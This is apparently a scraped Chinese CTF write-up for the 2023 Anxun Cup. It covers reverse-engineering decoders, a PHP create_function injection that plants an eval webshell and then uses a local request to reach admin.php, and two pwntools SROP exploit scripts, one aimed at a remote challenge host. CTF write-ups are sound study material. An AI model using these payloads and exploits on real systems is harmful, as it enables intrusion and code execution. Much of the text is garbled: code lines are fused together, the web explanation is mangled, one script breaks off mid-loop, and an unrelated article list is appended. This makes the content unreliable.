2023安洵杯-秦岭防御军wp

2024-02-13 13:40
文章标签 2023 防御 wp 秦岭 安洵

本文主要是介绍2023安洵杯-秦岭防御军wp,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

reverse

感觉有点点简单##

image.png
image.png

import base64
def ba64_decode(str1_1):mapp = "4KBbSzwWClkZ2gsr1qA+Qu0FtxOm6/iVcJHPY9GNp7EaRoDf8UvIjnL5MydTX3eh"data_1 = [0] * 4flag_1 = [0] * 3for i in range(32, 127):for y in range(32, 127):for k in range(32, 127):flag_1[0] = iflag_1[1] = yflag_1[2] = kdata_1[0] = (mapp[flag_1[0] & 0x3f])data_1[1] = (mapp[(4 * (flag_1[1] & 0xF)) | ((flag_1[0] & 0xC0) >> 6)])data_1[2] = (mapp[(16 * (flag_1[2] & 3)) | (flag_1[1] & 0xf0) >> 4])data_1[3] = (mapp[(flag_1[2] & 0xfc) >> 2])if data_1 == str1_1:print(flag_1)returnprint("fales!")encoded_str = list("6zviISn2McHsa4b108v29tbKMtQQXQHA+2+sTYLlg9v2Q2Pq8SP24Uw")
for i in range(0, len(encoded_str), 4):print("encData=", [x for x in encoded_str[i:i + 4]])ba64_decode([x for x in encoded_str[i:i + 4]])
import requests
import base64
import hashlib
def rc4_decrypt(key, ciphertext):# Key-Scheduling Algorithm (KSA)key_length = len(key)S = list(range(64))j = 0for i in range(64):j = (j + S[i] + key[i % key_length]) % 64S[i], S[j] = S[j], S[i]i = j = 0plaintext = bytearray()for char in ciphertext:i = (i + 1) % 64j = (j + S[i]) % 64S[i], S[j] = S[j], S[i]keystream_byte = S[(S[i] + S[j]+(i^j)) % 64]plaintext.append(char ^ ((i^j)&keystream_byte))return bytes(plaintext)key = [ord(x)for x in 'the_key_']
#填写key
data = [92, 33, 123,51, 81, 51,56, 40, 58,43, 48, 64,22, 44, 51,37, 54, 4,56, 70, 81,60, 37, 74,19, 51, 57,59, 105, 39,77, 41, 51,20, 51, 70,48, 49, 50,0]
print(rc4_decrypt(key,data))

剩下一个字符,直接从ABC开始猜,要求出来需要改变那个=,D0g3{608292C4-15400BA4-B3299A5C-704C292D}

牢大想你了

image.png
image.png
image.png

from ctypes import *def decrypt(v, k):v0 = c_uint32(v[0])v1 = c_uint32(v[1])delta =2654435769sum1 = c_uint32(delta * 32)for i in range(32):v1.value -= ((v0.value << 4) + k[2]) ^ (v0.value + sum1.value) ^ ((v0.value >> 5) + k[3])v0.value -= ((v1.value << 4) + k[0]) ^ (v1.value + sum1.value) ^ ((v1.value >> 5) + k[1])sum1.value -= deltafor i in range(4):print(chr((v0.value>>8*i)&0xff),end='')for i in range(4):print(chr((v1.value>>8*i)&0xff),end='')if __name__ == '__main__':a = [3363017039, 1247970816, 549943836, 445086378, 3606751618, 1624361316, 3112717362, 705210466, 3343515702, 2402214294,4010321577, 2743404694]k = [286331153, 286331153, 286331153, 286331153]for i in range(0,len(a),2):res = decrypt(a[i:i+2], k)

it_is_been_a_long_day_without_you_my_friend

你见过蓝色的小鲸鱼

##  re5sub_4577E0函数中的操作包括输入长度获取,加密和比较等```c
CHAR *__cdecl sub_4577E0(HWND hDlg)
{CHAR *result; // eaxCHAR *v2; // [esp+10h] [ebp-154h]void *v3; // [esp+24h] [ebp-140h]CHAR *v4; // [esp+114h] [ebp-50h]CHAR *lpString; // [esp+120h] [ebp-44h]HWND DlgItem; // [esp+12Ch] [ebp-38h]HWND hWnd; // [esp+138h] [ebp-2Ch]int v8; // [esp+144h] [ebp-20h]int WindowTextLengthA; // [esp+150h] [ebp-14h]__CheckForDebuggerJustMyCode(&unk_52105E);hWnd = GetDlgItem(hDlg, 1003);DlgItem = GetDlgItem(hDlg, 1004);WindowTextLengthA = GetWindowTextLengthA(hWnd);v8 = GetWindowTextLengthA(DlgItem);lpString = (CHAR *)j__malloc(__CFADD__(WindowTextLengthA, 16) ? -1 : WindowTextLengthA + 16);result = (CHAR *)j__malloc(__CFADD__(v8, 16) ? -1 : v8 + 16);v4 = result;if ( lpString && result ){GetWindowTextA(hWnd, lpString, WindowTextLengthA + 16);GetWindowTextA(DlgItem, v4, v8 + 16);v3 = operator new(0x10u);if ( v3 ){sub_451B43(0x10u);v2 = (CHAR *)sub_450CE3(v3);}else{v2 = 0;}sub_44FC2B(&unk_51D38C, 0x10u);sub_45126F(lpString, WindowTextLengthA, (int)v4, v8);sub_450199(v2);j__free(lpString);j__free(v4);result = v2;if ( v2 )return (CHAR *)sub_44F77B(1);}return result;
}
sub_45126F-->sub_4571A0
![image-20231223221451173.png](https://cdn.nlark.com/yuque/0/2023/png/36009450/1703342216581-65b8a127-38a3-4ebd-9856-14f3dbbdbe5e.png#averageHue=%23fdfdfd&clientId=u84f2d8f1-b3dc-4&from=paste&height=618&id=ude35dac3&originHeight=618&originWidth=783&originalType=binary&ratio=1&rotation=0&showTitle=false&size=35009&status=done&style=none&taskId=uda055ff9-b505-4ecd-a4ea-cf61cf572b1&title=&width=783)
```markdown
sub_4521B5(&unk_51C048, &unk_51C000);会对两段数据进行操作sub_451F08(a4, a5);为关键加密sub_451F08-->sub_456120

image-20231223221924560.png

sub_456120将密码和密码长度赋值后加密sub_4522FA-->sub_456930

image-20231223222019252.png
该函数加密两次8字节
image-20231223222515997.png
将之前的两个数据异或进行交换就可以,加密赋值后翻转
image-20231223223140570.png
上图为主要解密函数
image-20231223223205553.png
最后输出需要两两交换
D0g3{UzBtZTBuZV9EMGczQHRoZWJsdWVmMXNo}

web

what’s my name

image.png
通过** G E T ∗ ∗ 获取了两个参数: ∗ ∗ d 0 g 3 ∗ ∗ 和 ∗ ∗ n a m e ∗ ∗ 。对 ∗ ∗ _GET** 获取了两个参数:**d0g3** 和**name**。对** GET获取了两个参数:d0g3name。对d0g3** 进行了正则匹配,要求其满足一定的模式:以任意5个字符为一组重复出现,最后以 include 结尾。
image.png
image.png
如果条件满足,会再次使用create_function 创建一个匿名函数,该函数用于排序数组。可以通过构造d0g3 的值是 “]);}file_put_contents(“she22.php”,”<?php eval($_POST[3]);");/ainclude,而 name 的值是 %00lambda_72
image.png
image.png
由于
*$miao** 的值是动态生成的字符串,而不是一个静态值,所以我们通过暴力破解的方式尝试绕过
image.png
经过爆破,发现状态码为4204的代表成功
image.png
连接webshell
image.png
查看admin.php,需要从本地访问
image.png
通过http协议访问自己,成功获取flag
image.png
caf06c32-a18c-11ee-8c62-00163e0447d0

easy_unserizlize

image.png
image.png
flag{6f1395d6-a18e-11ee-844d-00163e0447d0}

MISC

misc4

winhex打开文件
图片.png
逆向这个文件
图片.png
发现是一个jpg图片,保存
然后解密图片
图片.png

Misc-dacongのsecret

image.png
image.png
爆破宽和高,得到压缩包密码
image.png
解压包
image.png
base64隐写得到密码
image.png
利用JPHS解密得到flag
image.png

misc-dacongのWindows

发现一个音频文件,sstv
image.png
并且得到flag的一部分flag{Ar3_Th3Y
利用工具进行处理得到一段_tHE_Dddd
image.png
找到这两段
image.png
U2FsdGVkX18M+E34cKJlmTU3uo1lHqjUQhKPTBGJiMjg4RWX6saTjOJmLU86538e
d@@Coong_LiiKEE_F0r3NsIc
利用ase进行解密
image.png
得到
dAc0Ng_SIst3Rs???}
进行flag拼接
flag{Ar3_Th3Y_tHE_DddddAc0Ng_SIst3Rs???}

crypto

010101

image.png
image.png
image.png
image.png
image-20231223201831606.png1.pngimage-20231223201731265.png

pwn

side_channel , initiate!


#!/usr/bin/python
#encoding:utf-8from pwn import *context.clear(arch='amd64')aaa = ELF('./chall')bbb = "-0123456789abcdefghijklmnopqrstuvwxyz{}"syscall_got = aaa.got['syscall']
syscall_plt = aaa.plt['syscall']bs = 0x404060leave_ret = 0x000000000040136c
mov_rax_15 = 0x0000000000401193
syscall_ret = 0x000000000040118aframe_write = SigreturnFrame()
frame_write.rdi = 10
frame_write.rsi = bs >> 12 << 12
frame_write.rdx = 0x1000
frame_write.rcx = 7
frame_write.rsp = bs + 0x110
frame_write.rip = syscall_pltframe_read = SigreturnFrame()
frame_read.rdi = 0
frame_read.rsi = 0
frame_read.rdx = bs + 0x300
frame_read.rcx = 0x100
frame_read.rsp = bs + 0x300
frame_read.rip = syscall_pltdef pwn(pos, char):p.recvuntil(b'easyhack')payload = b'flag'.ljust(8, b'\x00')payload += p64(mov_rax_15) + p64(syscall_ret) + bytes(frame_write)payload = payload.ljust(0x100, b'\x00')payload += p64(mov_rax_15) + p64(syscall_ret) + bytes(frame_read)p.send(payload)p.recvuntil(b'what is SUID')payload = b'a' * (0x32 - 0x8) + p64(bs) + p32(leave_ret)payload = payload.ljust(58, b'\x00')p.send(payload)shellcode = f'''/* open("flag") */push 2pop raxmov rdi, 0x67616c66push rdimov rdi, rspxor rsi, rsisyscall/* read flag */push raxpop rdimov rsi, 0x404500push 0x50pop rdxxor rax, raxsyscall/* blow up flag */mov al, byte ptr [rsi+{pos}]cmp al, {char}ja $-2/* exit_group */xor edi, edipush 0xe7pop raxsyscall'''payload = p64(bs + 0x308) + asm(shellcode)sleep(0.1)p.send(payload)if __name__ == '__main__' :fstart = time.time()pos = 0flag = "flag{"while True:left, right = 0, len(bbb) - 1while left < right :mid = (left + right) >> 1# p = proces

71063dc94f445c901df8b2331b15746.png
a14bc9b29fc3b400bb70347792d809e.png

Seccomp

#!/usr/bin/python
#encoding:utf-8from pwn import *context.clear(arch='amd64')elf = ELF('./chall')#p = process('./chall')
p = remote('47.108.206.43',24253)syscall_got = elf.got['syscall']
syscall_plt = elf.plt['syscall']bss = 0x404060
leave_ret = 0x40136c
mov_rax_15_ret = 0x401193
syscall_ret = 0x40118aframe_open = SigreturnFrame()
frame_open.rdi = 2
frame_open.rsi = bss
frame_open.rdx = 0
frame_open.rsp = bss + 0x110
frame_open.rip = syscall_pltframe_read = SigreturnFrame()
frame_read.rdi = 0
frame_read.rsi = 3
frame_read.rdx = bss + 0x500
frame_read.rcx = 0x200
frame_read.rsp = bss + 0x218
frame_read.rip = syscall_pltframe_write = SigreturnFrame()
frame_write.rdi = 1
frame_write.rsi = 1
frame_write.rdx = bss + 0x500
frame_write.rcx = 0x40
frame_write.rsp = bss + 0x320
frame_write.rip = syscall_pltp.recvuntil(b'easyhack')
payload = b'flag'.ljust(8, b'\x00')
payload += p64(mov_rax_15_ret) + p64(syscall_ret) + bytes(frame_open)
payload = payload.ljust(0x100, b'\x00')
payload += p64(mov_rax_15_ret) + p64(syscall_ret) + bytes(frame_read)
payload = payload.ljust(0x200, b'\x00')
payload += p64(mov_rax_15_ret) + p64(syscall_ret) + bytes(frame_write)
p.send(payload)p.recvuntil(b'what is SUID')
payload = b'a' * (0x32 - 0x8) + p64(bss) + p32(leave_ret)
p.send(payload)p.interactive()

bfd9c3bf7e739811ec66a680e4cec69.png

这篇关于2023安洵杯-秦岭防御军wp的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/705681

相关文章

CSP 2023 提高级第一轮 CSP-S 2023初试题 完善程序第二题解析 未完

一、题目阅读 (最大值之和)给定整数序列 a0,⋯,an−1,求该序列所有非空连续子序列的最大值之和。上述参数满足 1≤n≤105 和 1≤ai≤108。 一个序列的非空连续子序列可以用两个下标 ll 和 rr(其中0≤l≤r<n0≤l≤r<n)表示,对应的序列为 al,al+1,⋯,ar​。两个非空连续子序列不同,当且仅当下标不同。 例如,当原序列为 [1,2,1,2] 时,要计算子序列 [

HNU-2023电路与电子学-实验3

写在前面: 一、实验目的 1.了解简易模型机的内部结构和工作原理。 2.分析模型机的功能,设计 8 重 3-1 多路复用器。 3.分析模型机的功能,设计 8 重 2-1 多路复用器。 4.分析模型机的工作原理,设计模型机控制信号产生逻辑。 二、实验内容 1.用 VERILOG 语言设计模型机的 8 重 3-1 多路复用器; 2.用 VERILOG 语言设计模型机的 8 重 2-1 多

单例模式以及反射对单例模式的破坏及防御

单例模式(Singleton Pattern)是一种确保类在应用程序生命周期内只存在一个实例的设计模式。它不仅提供了全局访问点,还能节省内存、控制实例的生命周期。但常见的单例模式实现方式如饿汉式、懒汉式、双重校验锁、静态内部类等,虽然设计良好,但都容易被 Java 的反射机制所破坏。本文将介绍这些单例实现方式的优缺点、反射如何破坏它们的唯一性,以及如何防御这种破坏。 1. 单例模式的常见实现

2023 CCPC(秦皇岛)现场(第二届环球杯.第 2 阶段:秦皇岛)部分题解

所有题目链接:Dashboard - The 2023 CCPC (Qinhuangdao) Onsite (The 2nd Universal Cup. Stage 9: Qinhuangdao) - Codeforces 中文题面: contest-37054-zh.pdf (codeforces.com) G. Path 链接: Problem - G - Codeforces

超强台风摩羯逼近!或成大陆史上最强登陆台风,防御措施需到位

超强台风摩羯逼近!或成大陆史上最强登陆台风,防御措施需到位 摩羯即将登录,各位兄弟姐妹注意安全!#大型纪录片#摩羯#台风 推荐阅读: 一夜蒸发2万亿!英伟达市值遭遇滑铁卢 《火速围观!黑神话悟空IP山西空心月饼,又一波抢购热潮即将来袭》 直击心灵!佤写不来情歌,却意外火爆全网,你听了没? 警告!明年6至9月假期空窗期,你的旅行计划何去何从? 独家揭秘!雷军豪赠《黑神话:悟空》给王腾,

DDoS对策是什么?详细解说DDoS攻击难以防御的理由和对策方法

攻击规模逐年增加的DDoS攻击。据相关调查介绍,2023年最大的攻击甚至达到了700Gbps。 为了抑制DDoS攻击的危害,采取适当的对策是很重要的。 特别是在网站显示花费时间或频繁出现504错误的情况下,可能已经受到了DDoS攻击,需要尽早采取对策。 本文将介绍受到DDoS攻击时的事件、受害内容和作为DDoS对策有效的三种服务。 到底什么是DDoS攻击? 理解事件、手段和损害 D

HNU-2023电路与电子学-实验1

写在前面: 这是电路与电子学课程的第一次实验,按照指导书的需求在Multisim软件搭建一个电路传感器模型,难度较小,细心完成就没有问题。 小tips:22级实验是采用上传到测试平台来进行功能检测,如果不通过则会打回修改后再重新提交,(我们那时候的评测系统特别特别慢,一次只能测一个同学,剩下同学就排队等着,久的时候甚至超过10个小时),这里列举一个常见的错误:热噪声有+号这端需要连接有源滤波器

【python】—— Python爬虫实战:爬取珠海市2011-2023年天气数据并保存为CSV文件

目录 目标 准备工作 爬取数据的开始时间和结束时间 爬取数据并解析 将数据转换为DataFrame并保存为CSV文件         本文将介绍如何使用Python编写一个简单的爬虫程序,以爬取珠海市2011年至2023年的天气数据,并将这些数据保存为CSV文件。我们将涉及到以下知识点: 使用requests库发送HTTP请求使用lxml库解析HTML文档使用dateti

Acrobat Pro DC 2023 for Mac/Win:全能型PDF编辑器深度解析

Adobe Acrobat Pro DC 2023作为一款跨平台的PDF编辑器,无论是对于Mac还是Windows用户,都提供了极为全面且强大的PDF处理功能。该软件凭借其卓越的性能和丰富的特性,成为了全球范围内用户处理PDF文档的首选工具。 一、强大的编辑功能 Acrobat Pro DC 2023内置了多种编辑工具,如文本编辑器、图片替换、页面调整等,使用户能够轻松地对PDF文档进行修改和

BUUCTF PWN wp--bjdctf_2020_babystack

第一步   checksec一下,该题是64位的,该题目大概率是一道栈溢出(因为题目里面提到了stack) 分析一下这个二进制保护机制: Arch: amd64-64-little 这表示二进制文件是为64位AMD处理器设计的,使用的是小端序(little-endian)格式。RELRO: Partial RELRO RELRO(Relocation Read-Only)是一种安全特性,旨